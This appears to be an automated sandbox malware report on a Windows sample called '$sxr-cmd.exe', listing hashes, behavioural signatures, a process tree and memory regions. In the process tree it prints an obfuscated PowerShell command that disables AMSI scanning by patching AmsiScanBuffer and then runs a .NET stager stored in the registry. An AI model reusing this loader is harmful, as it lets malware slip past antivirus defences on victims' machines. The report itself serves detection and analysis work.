Analysis

  • max time kernel
    64s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    31/10/2024, 02:17

Errors

Reason
Machine shutdown

General

  • Target

    $sxr-cmd.exe

  • Size

    163KB

  • MD5

    ad739cf69f6437ce3d5a59ff684a32d6

  • SHA1

    31629cacc22142d146c10f0147b7cc784c6268ca

  • SHA256

    236e138954c9bce0ccd53f98247728e7c979df19d604a4e6f98f34ddb28fc3de

  • SHA512

    f1c23fc0fd8c275db05e4f75d3c08bec7eed99424218589ce93a673087b670f166247f13b208eed5ac6e553ca98523df0c602034742cd24995779a4905dc0334

  • SSDEEP

    3072:jQpsYu4jPpKh3aKHQijbK1kkRsztZaFFZJPr5Xzn7RPV8PdbbZDXIa1rr:jQpsYu4jPpKhq2Qijck4sztZaPZxrN7I

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 61 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      2⤵
        PID:432
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{6cc69719-b0d9-49c2-921c-b7413cac5558}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3584
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x0 /state0:0xa3a00055 /state1:0x41c64e6d
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:2244
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:692
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
      1⤵
        PID:976
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
        1⤵
          PID:428
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:704
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
            1⤵
              PID:1052
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1060
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                1⤵
                  PID:1168
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                    PID:1188
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EZpvJkHDmeNo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$cdqVmcYyXtflfi,[Parameter(Position=1)][Type]$oBGDApEMiW)$ZuLfAeVguyN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+'m'+'o'+''+'r'+'y'+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+'t'+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'ea'+[Char](108)+''+'e'+''+'d'+''+','+'A'+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+',A'+[Char](117)+'t'+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$ZuLfAeVguyN.DefineConstructor('RT'+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$cdqVmcYyXtflfi).SetImplementationFlags('Ru'+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$ZuLfAeVguyN.DefineMethod(''+[Char](73)+''+'n'+''+'v'+'o'+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+'bli'+[Char](99)+''+[Char](44)+'H'+'i'+'de'+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+'Ne'+'w'+'S'+[Char](108)+''+'o'+'t,Vi'+'r'+''+'t'+''+[Char](117)+'a'+'l'+'',$oBGDApEMiW,$cdqVmcYyXtflfi).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'Man'+[Char](97)+'g'+[Char](101)+'d');Write-Output $ZuLfAeVguyN.CreateType();}$UryBJFhLrgcHz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+'t.W'+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+'e'+''+'N'+'a'+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$FgPlhQIzTxzDLK=$UryBJFhLrgcHz.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+'A'+''+'d'+''+'d'+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KfSPkJWboNAuNFexjpm=EZpvJkHDmeNo @([String])([IntPtr]);$AHcacLIBNOTQvXBDmGOfXN=EZpvJkHDmeNo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TJMKQyQDJwT=$UryBJFhLrgcHz.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+'od'+'u'+''+'l'+'eH'+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+'l'+'l')));$xzELYkuCteONeZ=$FgPlhQIzTxzDLK.Invoke($Null,@([Object]$TJMKQyQDJwT,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$iDfLTRKxMOeOFnBPv=$FgPlhQIzTxzDLK.Invoke($Null,@([Object]$TJMKQyQDJwT,[Object]('V'+'i'+'r'+'t'+''+'u'+''+[Char](97)+'lP'+[Char](114)+''+[Char](111)+'t'+'e'+'c'+[Char](116)+'')));$vYQaXCS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xzELYkuCteONeZ,$KfSPkJWboNAuNFexjpm).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+'.'+'dll');$huCHWEuHvJagNmTjq=$FgPlhQIzTxzDLK.Invoke($Null,@([Object]$vYQaXCS,[Object](''+[Char](65)+'ms'+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+'f'+'e'+''+[Char](114)+'')));$jabQATbbKE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iDfLTRKxMOeOFnBPv,$AHcacLIBNOTQvXBDmGOfXN).Invoke($huCHWEuHvJagNmTjq,[uint32]8,4,[ref]$jabQATbbKE);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$huCHWEuHvJagNmTjq,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iDfLTRKxMOeOFnBPv,$AHcacLIBNOTQvXBDmGOfXN).Invoke($huCHWEuHvJagNmTjq,[uint32]8,0x20,[ref]$jabQATbbKE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](115)+''+'x'+'r-'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:4016
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        3⤵
                          PID:4008
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                      1⤵
                        PID:1264
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1308
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1380
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1460
                          • C:\Windows\system32\sihost.exe
                            sihost.exe
                            2⤵
                              PID:3020
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                            1⤵
                            • Indicator Removal: Clear Windows Event Logs
                            PID:1468
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                            1⤵
                              PID:1540
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1548
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                1⤵
                                  PID:1700
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                  1⤵
                                    PID:1740
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                    1⤵
                                      PID:1760
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                      1⤵
                                        PID:1852
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                        1⤵
                                          PID:1872
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1936
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1948
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                              1⤵
                                                PID:1124
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1348
                                                • C:\Windows\System32\spoolsv.exe
                                                  C:\Windows\System32\spoolsv.exe
                                                  1⤵
                                                    PID:2120
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                    1⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2268
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                    1⤵
                                                      PID:2404
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                      1⤵
                                                        PID:2528
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                        1⤵
                                                          PID:2536
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkService -p
                                                          1⤵
                                                            PID:2568
                                                          • C:\Windows\sysmon.exe
                                                            C:\Windows\sysmon.exe
                                                            1⤵
                                                              PID:2680
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                              1⤵
                                                                PID:2696
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                1⤵
                                                                  PID:2736
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                  1⤵
                                                                    PID:2744
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                    1⤵
                                                                      PID:2752
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2332
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:3108
                                                                        • C:\Windows\Explorer.EXE
                                                                          C:\Windows\Explorer.EXE
                                                                          1⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          PID:3300
                                                                          • C:\Users\Admin\AppData\Local\Temp\$sxr-cmd.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\$sxr-cmd.exe"
                                                                            2⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:72
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                          1⤵
                                                                            PID:3432
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                            1⤵
                                                                              PID:3448
                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                              1⤵
                                                                                PID:3824
                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                1⤵
                                                                                  PID:3908
                                                                                • C:\Windows\system32\DllHost.exe
                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                  1⤵
                                                                                    PID:3916
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                    1⤵
                                                                                      PID:3924
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                      1⤵
                                                                                        PID:4164
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                        1⤵
                                                                                          PID:4392
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                          1⤵
                                                                                            PID:2428
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:3720
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                              1⤵
                                                                                                PID:1516
                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                1⤵
                                                                                                  PID:1004
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:1448
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:3016
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                      1⤵
                                                                                                        PID:4972
                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                        1⤵
                                                                                                          PID:2064
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                          1⤵
                                                                                                            PID:2144
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                            1⤵
                                                                                                              PID:4780
                                                                                                            • C:\Windows\System32\PickerHost.exe
                                                                                                              C:\Windows\System32\PickerHost.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:3888
                                                                                                              • C:\Windows\System32\smss.exe
                                                                                                                \SystemRoot\System32\smss.exe 00000114 0000008c
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: LoadsDriver
                                                                                                                PID:2880
                                                                                                              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                1⤵
                                                                                                                  PID:4644

                                                                                                                Network

                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                      Replay Monitor

                                                                                                                      Loading Replay Monitor...

                                                                                                                      Downloads

                                                                                                                      • C:\Windows\Temp\__PSScriptPolicyTest_22prhzfc.xfq.ps1

                                                                                                                        Filesize

                                                                                                                        60B

                                                                                                                        MD5

                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                        SHA1

                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                        SHA256

                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                        SHA512

                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                      • memory/428-86-0x000001682FBA0000-0x000001682FBCA000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/432-81-0x000001E1EC920000-0x000001E1EC94A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/432-286-0x00007FFD57A03000-0x00007FFD57A04000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        4KB

                                                                                                                      • memory/432-285-0x00007FFD57A06000-0x00007FFD57A07000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        4KB

                                                                                                                      • memory/432-96-0x00007FFD57A04000-0x00007FFD57A05000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        4KB

                                                                                                                      • memory/432-74-0x000001E1EC920000-0x000001E1EC94A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/628-34-0x00000154B3800000-0x00000154B382A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/628-41-0x00000154B3800000-0x00000154B382A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/628-698-0x00000154B35C0000-0x00000154B35E5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/628-32-0x00000154B35C0000-0x00000154B35E5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/628-33-0x00000154B3800000-0x00000154B382A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/628-57-0x00000154B35C0000-0x00000154B35E5000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/628-42-0x00007FFD179F0000-0x00007FFD17A00000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                      • memory/692-60-0x00007FFD57A03000-0x00007FFD57A04000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        4KB

                                                                                                                      • memory/692-59-0x00007FFD57A04000-0x00007FFD57A05000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        4KB

                                                                                                                      • memory/692-46-0x000001D4422A0000-0x000001D4422CA000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/692-53-0x000001D4422A0000-0x000001D4422CA000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/692-54-0x00007FFD179F0000-0x00007FFD17A00000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                      • memory/692-58-0x000001D442270000-0x000001D442295000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        148KB

                                                                                                                      • memory/976-70-0x00007FFD179F0000-0x00007FFD17A00000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                      • memory/976-69-0x000001E433D60000-0x000001E433D8A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/976-62-0x000001E433D60000-0x000001E433D8A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB

                                                                                                                      • memory/3584-27-0x00007FFD57960000-0x00007FFD57B69000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        2.0MB

                                                                                                                      • memory/3584-20-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/3584-18-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/3584-640-0x00007FFD57960000-0x00007FFD57B69000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        2.0MB

                                                                                                                      • memory/3584-16-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/3584-24-0x00007FFD56250000-0x00007FFD5630D000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        756KB

                                                                                                                      • memory/3584-26-0x00007FFD57961000-0x00007FFD57A8A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.2MB

                                                                                                                      • memory/3584-29-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/3584-22-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/3584-17-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/3584-23-0x00007FFD57960000-0x00007FFD57B69000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        2.0MB

                                                                                                                      • memory/4016-308-0x00007FFD36B10000-0x00007FFD375D2000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4016-11-0x000001C0497D0000-0x000001C0497F2000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        136KB

                                                                                                                      • memory/4016-28-0x00007FFD57960000-0x00007FFD57B69000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        2.0MB

                                                                                                                      • memory/4016-84-0x00007FFD36B10000-0x00007FFD375D2000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4016-15-0x00007FFD56250000-0x00007FFD5630D000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        756KB

                                                                                                                      • memory/4016-12-0x00007FFD36B10000-0x00007FFD375D2000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4016-85-0x00007FFD36B13000-0x00007FFD36B15000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        8KB

                                                                                                                      • memory/4016-14-0x00007FFD57960000-0x00007FFD57B69000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        2.0MB

                                                                                                                      • memory/4016-2-0x00007FFD36B10000-0x00007FFD375D2000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4016-1-0x00007FFD36B10000-0x00007FFD375D2000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4016-0-0x00007FFD36B13000-0x00007FFD36B15000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        8KB

                                                                                                                      • memory/4016-25-0x00007FFD36B10000-0x00007FFD375D2000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        10.8MB

                                                                                                                      • memory/4016-696-0x00007FFD57960000-0x00007FFD57B69000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        2.0MB

                                                                                                                      • memory/4016-13-0x000001C049B40000-0x000001C049B6A000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        168KB